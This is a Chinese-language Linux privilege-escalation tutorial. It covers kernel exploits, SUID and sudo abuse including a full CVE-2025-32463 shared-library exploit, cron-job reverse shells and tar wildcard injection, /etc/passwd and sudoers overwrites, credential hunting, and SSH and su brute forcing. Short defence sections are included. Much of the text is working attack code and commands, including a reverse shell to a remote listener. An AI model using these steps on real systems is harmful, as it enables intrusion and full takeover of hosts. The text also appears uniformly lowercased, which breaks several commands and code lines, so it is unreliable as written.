前言
在渗透测试中,拿到一个 webshell 或低权限 shell 只是第一步,真正的目标是获取目标主机的最高权限。
本文基于实战角度,详细讲解以下 6 种最经典的 linux 提权方法:
- 内核漏洞提权 — 直接利用系统漏洞
- suid 提权 — 利用文件权限配置不当
- sudo 提权 — 利用 sudo 配置疏漏或漏洞
- cronjobs 提权 — 利用定时任务配置疏漏
- 查找敏感文件提权 — 密码复用是最快的路
- 暴力.破.解提权 — 最原始但有效的方法
一、内核漏洞提权
1.1 什么是 linux 内核漏洞
linux 内核是操作系统的核心,负责管理硬件资源、进程调度、内存管理等。由于 linux 内核是开源项目,拥有近百万次 commit、超过 5000 名开发者,代码修改频繁,难免存在漏洞。
内核漏洞提权的原理:利用 linux 内核中存在的安全漏洞,执行具有高权限的任意代码,从而将普通用户权限提升至 root。
1.2 提权三步骤
第一步:收集信息
拿到目标 shell 后,首先需要确认系统的发行版本和内核版本:
# 查看发行版本 lsb_release -a # 如果系统不支持 lsb_release,使用以下命令 cat /etc/os-release # 查看内核版本(最关键) uname -r # 查看更详细的信息 uname -a # 检查用户命名空间是否启用(某些 exploit 需要) cat /proc/sys/kernel/unprivileged_userns_clone # 返回 1 表示启用,0 表示禁用
第二步:查找漏洞
有了版本号之后,去 exploit-db 搜索对应版本的内核漏洞。
搜索技巧:
- 在 search 框输入关键词组合,例如:
privilege kernel 2.6 ubuntu - 在 filter 中设置 type 为
local、platform 为linux - 优先选择已验证的 exp(带有绿色勾标记的)
如果你使用的是 kali linux,也可以用命令行工具 searchsploit:
searchsploit privilege | grep -i linux | grep -i kernel | grep -i 2.6
第三步:执行攻击
大多数情况下,靶机无法连接外网,所以需要先将 exp 下载到攻击机,再上传到靶机:
# 在攻击机上下载 exp(注意 exploit-db 的下载链接格式可能会变) wget https://www.exploit-db.com/download/8572 -o /tmp/exploit.c # 攻击机搭建 http 服务 cd /tmp python3 -m http.server 8000 # 靶机下载 exp wget 192.168.122.1:8000/exploit.c -p /tmp # 编译 exp(需要 gcc) cd /tmp gcc exploit.c -o exploit # 执行 exp ./exploit
如果靶机没有 gcc,可以在攻击机编译好后上传:gcc -static exploit.c -o exploit
1.3 现代内核漏洞示例
以下是近年来影响广泛的内核提权漏洞(截至 2026 年):
| cve 编号 | 影响范围 | 说明 |
|---|---|---|
| cve-2024-1086 | 内核 v3.15~v6.8 | netfilter nf_tables 双重释放漏洞,已被勒索软件利用,99.4% 成功率 |
| cve-2026-46333 | 各主流发行版 | ptrace 路径下的本地 root 提权 + 凭据泄露,可直接读取 /etc/shadow |
| cve-2021-4034 | pkexec 本地提权 | 几乎影响所有主流发行版,利用极为稳定 |
1.4 注意事项
内核漏洞利用可能导致系统崩溃,请优先尝试其他方法
并非每个 cve 对应的 exp 都能直接成功,遇到失败可以:
- 更换相同 cve 漏洞的不同 exp
- 尝试其他 cve 漏洞
内核漏洞利用需要一定的耐心,可能需要多次尝试
现代 linux 有 kaslr、smep、smap 等内核防护机制,exp 可能需要绕过这些缓解措施,成功率不如从前
1.5 工具推荐:linux-exploit-suggester
这是一个根据内核版本自动查找可利用漏洞的脚本:
# 下载 wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh # 执行 ./linux-exploit-suggester.sh # 如果靶机 bash 版本过低,可以手动指定内核信息 ./linux-exploit-suggester.sh -u "$(uname -a)"
结果中的 exposure 分级:
- highly probable:大概率可利用
- probable:可能成功,可能需要调整
- less probable:需要额外分析
- unprobable:可能性极低
一般优先尝试 highly probable 和 probable 级别的漏洞。
二、suid 提权
2.1 什么是 suid
suid是 linux 中的一种特殊权限位。当一个可执行文件设置了 suid 位时,任何用户执行该文件,都会以文件所有者(通常是 root)的权限运行。
我们以 ping 命令为例:
ls -alh /bin/ping # 输出中会看到: -rwsr-xr-x 注意这个 's' 就是 suid 标志
ping 需要发送 raw socket,通过 suid 位,普通用户也能使用 ping 命令。
提权的核心思路:如果某个设置了 suid 位的文件(所有者是 root)具有执行系统命令或修改文件的功能,我们就可以利用它来提权。
2.2 查找 suid 可执行文件
拿到 shell 后的第一件事就是找哪些文件有 suid 位:
# 三种等价写法
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
2.3 常见 suid 提权命令详解
1. nmap 提权
适用条件:nmap 版本在 2.02 ~ 5.21 之间,且设置了 suid 位
# 查看版本 nmap --version # 进入交互模式 nmap --interactive # 在交互模式中执行 shell !sh
此时获取的 shell 是 root 权限,因为 nmap 以 root 所有者身份运行。
2. find 提权
适用条件:find 命令设置了 suid 位
# find 的 -exec 参数可以执行任意命令 find <任意文件> -exec <命令> \; # 提权到 root shell(-p 参数必须加) find test -exec /bin/bash -p \;
为什么必须加 -p? 不加 -p 时,bash 会检测到有效 uid 和真实 uid 不一致,自动将权限降回真实 uid。-p 参数告诉 bash 不要降权,保持 suid 赋予的特权。
3. cp 命令提权
适用条件:cp 命令设置了 suid 位
思路:利用 cp 的 root 权限覆盖 /etc/passwd 文件,添加一个 uid=0 的用户。
# 1. 先复制一份 passwd 文件 cat /etc/passwd > ~/passwd # 2. 生成密码哈希 openssl passwd -1 -salt ignite pass123 # 输出: $1$ignite$3etbjm98o9hz.k1ntdnxe1 # 3. 构造新用户行并追加(uid=0 表示 root 权限) echo 'hacked:$1$ignite$3etbjm98o9hz.k1ntdnxe1:0:0:root:/root:/bin/bash' >> ~/passwd # 4. 利用 suid cp 覆盖 /etc/passwd cp ~/passwd /etc/passwd # 5. 切换用户,密码 pass123 su hacked # 此时已是 root 权限!
mv 命令的提权方法与 cp 类似,不再赘述。
补充:利用 cp 的 suid 覆盖 /etc/sudoers
除了覆盖 /etc/passwd,也可以直接修改 sudo 配置让自己获得完全的 sudo 权限:
# 1. 备份当前 sudoers cp /etc/sudoers /tmp/sudoers.bak # 2. 添加免密 sudo 权限 echo "$(whoami) all=(all) nopasswd:all" >> /tmp/sudoers.bak # 3. 利用 suid cp 覆盖 cp /tmp/sudoers.bak /etc/sudoers # 4. 现在可以无需密码使用 sudo sudo bash
4. 其他可 suid 提权的命令
| 命令 | 利用方式 |
|---|---|
| vim | vim -c '!sh' |
| less | 打开文件后输入 !/bin/bash |
| more | term= more /etc/profile → 输入 !/bin/bash |
| php | php -r "pcntl_exec('/bin/sh', ['-p']);" |
| python | python -c 'import os; os.execl("/bin/sh", "sh", "-p")' |
| awk | awk 'begin {system("/bin/sh")}' |
| sed | sed -n '1e exec bash -p' /etc/passwd |
推荐资源:gtfobins 收录了 478+ 个 unix 二进制文件的提权方法,覆盖 suid、sudo、capabilities 等多种场景。实战中查到可疑的 suid 文件后,直接上 gtfobins 搜命令名即可看到对应提权方法。
2.4 防御思路
- 定期审计系统中所有 suid 文件
- 移除不必要的 suid 位:
chmod u-s <文件路径> - 尽量使用
sudo而非 suid 来管理特权操作 - 使用
mount -o nosuid挂载不需要 suid 的分区
三、sudo 提权
3.1 什么是 sudo
sudo(super user do)的作用是让当前用户以 root 或其他用户的身份执行命令。与 suid 不同,sudo 的权限由 /etc/sudoers 配置文件精确控制。
提权的核心思路:如果 /etc/sudoers 配置不当,允许我们以 root 权限执行某些命令,而这些命令恰好能用来获取 shell,就能直接提权。
3.2 查看当前 sudo 权限
拿到 shell 后第一件事:
sudo -l
这条命令会显示当前用户能执行哪些 sudo 命令。看到输出后重点关注两样东西:
- 允许以 root 身份执行哪些命令
- 是否需要密码(nopasswd)
3.3 利用方式一:允许执行命令且无参数限制
这是最常见也是最容易利用的配置错误。
假设 sudo -l 输出:
(root) nopasswd: /usr/bin/find
意为当前用户可以无需密码,以 root 权限执行 find 命令。
利用方法——和 suid 提权的思路完全一样:
# find
sudo find /home -exec /bin/bash \;
# 如果允许执行 vim
sudo vim -c '!sh'
# less
sudo less /etc/passwd
# 然后输入 !/bin/bash
# awk
sudo awk 'begin {system("/bin/bash")}'
# man
sudo man man
# 然后输入 !/bin/bash
万能查询:任何可以通过 sudo 执行的命令,都可以去 gtfobins 搜一下,看有没有对应的提权方法。
3.4 利用方式二:允许执行带固定参数的命令
假设 sudo -l 输出:
(root) nopasswd: /bin/less /var/log/messages
注意 /bin/less 和 /var/log/messages 之间没有逗号,说明这是一条完整的命令,参数被写死了。
利用方法——某些命令即使参数固定,也可以用内部命令逃逸:
sudo less /var/log/messages # 在 less 界面中输入: !/bin/bash
同样的技巧也适用于 more、man、vim 等可以执行内部命令的程序。
3.5 利用方式三:cve-2025-32463(sudo --chroot 提权,cvss 9.3)
这是近年来最严重的 sudo 漏洞之一,于 2025 年披露,影响范围极广。
| 项目 | 内容 |
|---|---|
| cve | cve-2025-32463 |
| 影响组件 | sudo |
| 影响版本 | sudo 1.9.14 ~ 1.9.17 |
| 修复版本 | sudo 1.9.17p1 |
| cvss | 9.3 |
| 发现者 | rich mirch (stratascale) |
漏洞原理:
sudo 从 1.9.14 版本开始引入了 --chroot(-r)选项,允许在执行命令前切换根目录。但在实现中,sudo 没有正确清理 chroot 环境中的权限。攻击者可以在自己控制的目录中构建一个恶意的 nsswitch.conf 文件,指向一个恶意的共享库(.so)。当 sudo 以 root 权限加载 nss(名称服务切换)库时,恶意代码被执行,直接获得 root shell。
利用步骤:
# 1. 检查 sudo 版本
sudo --version
# 如果是 1.9.14 ~ 1.9.17 之间,则存在漏洞
# 2. 创建恶意共享库 exploit.c
cat > /tmp/exploit.c << 'eof'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
__attribute__((constructor))
void pwn(void) {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", null);
}
eof
# 3. 编译
gcc -shared -o /tmp/exploit.so -fpic /tmp/exploit.c
# 4. 创建恶意 chroot 环境
mkdir -p /tmp/chroot/etc
mkdir -p /tmp/chroot/lib/x86_64-linux-gnu
mkdir -p /tmp/chroot/usr/lib/x86_64-linux-gnu
# 5. 创建恶意的 nsswitch.conf,让 sudo 加载我们的 so
echo "passwd: files exploit" > /tmp/chroot/etc/nsswitch.conf
echo "group: files exploit" >> /tmp/chroot/etc/nsswitch.conf
echo "shadow: files exploit" >> /tmp/chroot/etc/nsswitch.conf
# 6. 复制必要的库文件(视系统架构而定)
cp /lib/x86_64-linux-gnu/{libc.so.6,libnss_files.so.2,ld-linux-x86-64.so.2} /tmp/chroot/lib/x86_64-linux-gnu/ 2>/dev/null
cp /usr/lib/x86_64-linux-gnu/libnss_files.so.2 /tmp/chroot/usr/lib/x86_64-linux-gnu/ 2>/dev/null
# 7. 将恶意 so 放置在 nss 搜索路径中
cp /tmp/exploit.so /tmp/chroot/lib/x86_64-linux-gnu/libnss_exploit.so.2
# 8. 触发漏洞
sudo -r /tmp/chroot id
# 成功则直接获得 root shell
更多 poc 参考:
- 0p5cur/cve-2025-32463-poc
- mohamedkarrab/cve-2025-32463(无需 gcc 预编译版本)
3.6 防御思路
- 立即升级 sudo:
sudo apt update && sudo apt upgrade sudo - 最小化 sudoers 配置,尽量使用
sudo -u而不是直接给 all - 不需要 chroot 功能时,在 sudoers 中禁用
-r选项 - 定期审计
sudo -l的输出,检查是否有异常的 sudo 权限
四、cronjobs 提权
3.1 什么是 cron jobs
cron jobs 是 linux 系统中的定时任务,用于周期性执行命令或脚本(如备份数据、清理缓存等)。如果定时任务以 root 权限运行,且脚本文件或相关目录权限配置不当,就可能被攻击者利用来提权。
3.2 查看定时任务
cat /etc/crontab # 系统级定时任务 crontab -l # 当前用户的定时任务 ls -la /etc/cron.* # 查看 cron 目录下的脚本
3.3 利用场景一:cron 调用的脚本可写
场景:定时任务以 root 权限执行某个脚本,但该脚本对其他用户可写。
假设 /etc/crontab 中有如下配置:
* * * * * root python /home/shiyanlou/cleanup.py
查看脚本权限,发现其他用户有 w(写入)权限:
ls -al /home/shiyanlou/cleanup.py # -rw-rw-rw- 说明其他用户可写
利用方法一:反弹 root shell
修改 cleanup.py 的内容:
# 反弹 shell 到攻击机
import os
os.system('nc 192.168.1.100 4444 -e /bin/bash')
攻击机监听:
nc -lnvp 4444
等待定时任务执行,即可接收到 root 权限的 shell。
利用方法二:添加 suid
修改 cleanup.py 的内容,给 bash 添加 suid 位:
import os
os.system('chmod +s /bin/bash')
等待执行后:
/bin/bash -p # 获得 root shell
3.4 利用场景二:cron + 通配符注入
场景:定时任务使用 tar 命令打包目录,且打包目录对当前用户可写。
假设 crontab 中有:
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
原理:linux shell 会将 - 开头的文件名解释为命令参数。tar 命令有 --checkpoint 和 --checkpoint-action 参数,可以在打包时执行任意命令。
利用步骤:
# 进入可写的打包目录 cd /var/www/html/ # 1. 创建反弹 shell 脚本 echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh # 2. 创建 checkpoint 触发文件(文件名就是 tar 的参数) echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1
当 cron 执行 tar 命令时,实际执行的命令变成了:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html ...
--checkpoint=1:每处理 1 个文件触发一次检查点--checkpoint-action=exec=sh shell.sh:触发时执行 shell.sh
这样就会执行我们的反弹 shell 脚本,获取 root 权限。
两个限制条件:
- 打包目录必须对当前用户可写
- tar 命令中不能使用绝对路径(即不能用
/var/www/html/*,只能用/var/www/html/)
3.5 防御思路
- cron 调用的脚本文件权限设为
700(仅所有者可读写执行) - tar 打包命令中尽量使用全路径+具体文件,避免使用通配符
* - 定期审计
/etc/crontab和各 cron 目录下的脚本
五、查找敏感文件提权
5.1 核心思想
这一方法的本质是 寻找服务器上的认证信息 + 密码复用。管理员经常在不同服务中使用相同或相似的密码,如果能从 web 配置文件、数据库或 bash 历史中找到密码,很可能就直接登录 root 了。
5.2 web 服务配置文件
重点关注 /var/www 目录下的配置文件:
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null
如果目标使用了 cms(wordpress、drupal、joomla 等),查一下该 cms 的默认配置文件路径。例如 wordpress 的数据库配置在 wp-config.php:
more /var/www/wordpress/wp-config.php
# 可能会找到 mysql 连接信息:
# define('db_user', 'root');
# define('db_password', 'cd8m2m8fmidhu4m1');
利用思路:
- 尝试用该密码直接 ssh 登录 root
- 登录 mysql 数据库,查找其他用户的密码
- 使用找到的密码尝试 sudo 或 su
# 登录 mysql mysql -u root -p -h 127.0.0.1 # 在数据库中查找用户表 show databases; use <数据库名>; show tables; select * from <用户表>;
找到的密码可能和系统 root 密码相同(密码复用)。
5.3 用户历史命令
cat ~/.bash_history cat ~/.bashrc cat ~/.bash_profile
历史命令中可能泄露密码:
# 例如发现这条记录: echo tomcat-syl:09fmwnfs7n | chpasswd # 表示管理员修改了 tomcat-syl 的密码为 09fmwnfs7n # 尝试 sudo sudo whoami # 输入密码 09fmwnfs7n
5.4 备份文件
find /var /etc /home /root /tmp -type f \( -name "*backup*" -o -name "*.bak" -o -name "*.bck" -o -name "*.bk" \) 2>/dev/null
备份文件中经常包含 ssh 密钥、数据库密码、配置文件等敏感信息。
5.5 补充:mysql udf 提权
如果找到 mysql root 密码,且 mysql 以 root 权限运行,可以尝试 udf 提权。
条件:
- 获取到 mysql root 账户密码
- mysql 以 root 权限运行(未被降权)
udf(user defined function)是 mysql 的共享库机制,可以创建执行系统命令的函数(如 sys_exec、sys_eval),从而执行系统命令。
5.6 防御思路
- 数据库密码不要与系统密码相同(避免密码复用)
- web 配置文件的数据库密码使用独立账户,最小权限原则
- 定期清理 bash 历史记录:
history -c - 备份文件要加密存储,不要放在 web 目录下
- mysql 不要以 root 权限运行
六、暴.力破.解提权
6.1 什么时候用暴.力破.解
当你试遍了所有其他方法都无法提权时,暴.力破.解可能是最后的选择。主要有两种途径:
- 本地暴.力破.解:通过
su命令爆破 root 密码 - 远程暴.力破.解:通过 ssh 协议爆破 root 密码
6.2 本地暴.力破.解(sucrack)
su 命令需要从 tty shell 获取输入,普通的 shell 脚本无法完成自动化爆破。sucrack 是用 c 语言编写的多线程工具,专门用于通过 su 爆破本地用户密码。
安装 sucrack:
# 方法一:apt 安装(靶机能联网时) sudo apt install sucrack # 方法二:下载源码编译 # 下载地址:https://leidecker.info/projects/sucrack.shtml # 方法三:在攻击机编译后上传到靶机
使用示例:
# 基本用法:默认爆破 root 密码 sucrack -w 20 wordlists.txt # 指定用户 sucrack -u myuser -w 20 wordlists.txt
参数说明:
-w:指定线程数(建议 20 左右)-u:指定要爆破的用户(默认 root)wordlists.txt:密码字典文件
成功后会显示破解出的密码,然后使用 su root 切换即可。
6.3 远程暴.力破.解(hydra)
前置检查:只有 ssh 配置允许 root 登录时才有意义
cat /etc/ssh/sshd_config | grep -i permitrootlogin # 必须是 yes 才能尝试
hydra 爆破 ssh:
# 基本语法(传统格式) hydra -l root -p passwords.txt -t 4 -v <目标ip> ssh # 或者使用 uri 格式(推荐) hydra ssh://<目标ip>:22 -l root -p passwords.txt -t 4
参数说明:
-l:指定用户名(这里是 root)-p:指定密码字典-t:线程数(ssh 建议设置为 4,默认 16 已经偏大,不要使用 -t 64)-v:显示详细的破解进度-o:将结果保存到文件
注意事项:
- ⚠️ ssh 的 -t 参数不要设太大,很多 ssh 服务端会限制并发连接数,建议
-t 4,过大反而容易被 ban 或导致误报 - hydra v9.0 之前的版本爆破 ssh 容易出现误报,请升级到最新版
- 爆破行为可能触发系统的 fail2ban 等防护机制
- ssh 爆破速度较慢,适合作为字典攻击
6.4 暴.力破.解的局限性
- 速度慢:需要大量请求/尝试
- 可能被封:系统可能配置了账户锁定或 ip 封禁策略
- 依赖字典:密码强度取决于字典质量
- 日志明显:爆破行为会在
/var/log/auth.log中留下大量失败记录
6.5 防御思路
- 禁止 root 远程登录 ssh:
permitrootlogin no - 使用 ssh 密钥认证代替密码认证
- 部署 fail2ban 等防护工具
- 设置复杂密码,定期更换
- 使用 pam 模块设置账户锁定策略
拿到 shell 后,按照以下顺序快速排查:
1. sudo -l # 看 sudo 权限(含 cve-2025-32463 检测) 2. find / -perm -4000 2>/dev/null # 看 suid 3. cat /etc/crontab # 看定时任务 4. find /var/www -name "*.php" -o -name "*.config" # 找敏感文件 5. cat ~/.bash_history # 看历史命令 6. cat /etc/shadow 2>/dev/null # 检查 shadow 权限 7. uname -r 然后找内核漏洞 # 最后手段
总结
以上为个人经验,希望能给大家一个参考,也希望大家多多支持代码网。
发表评论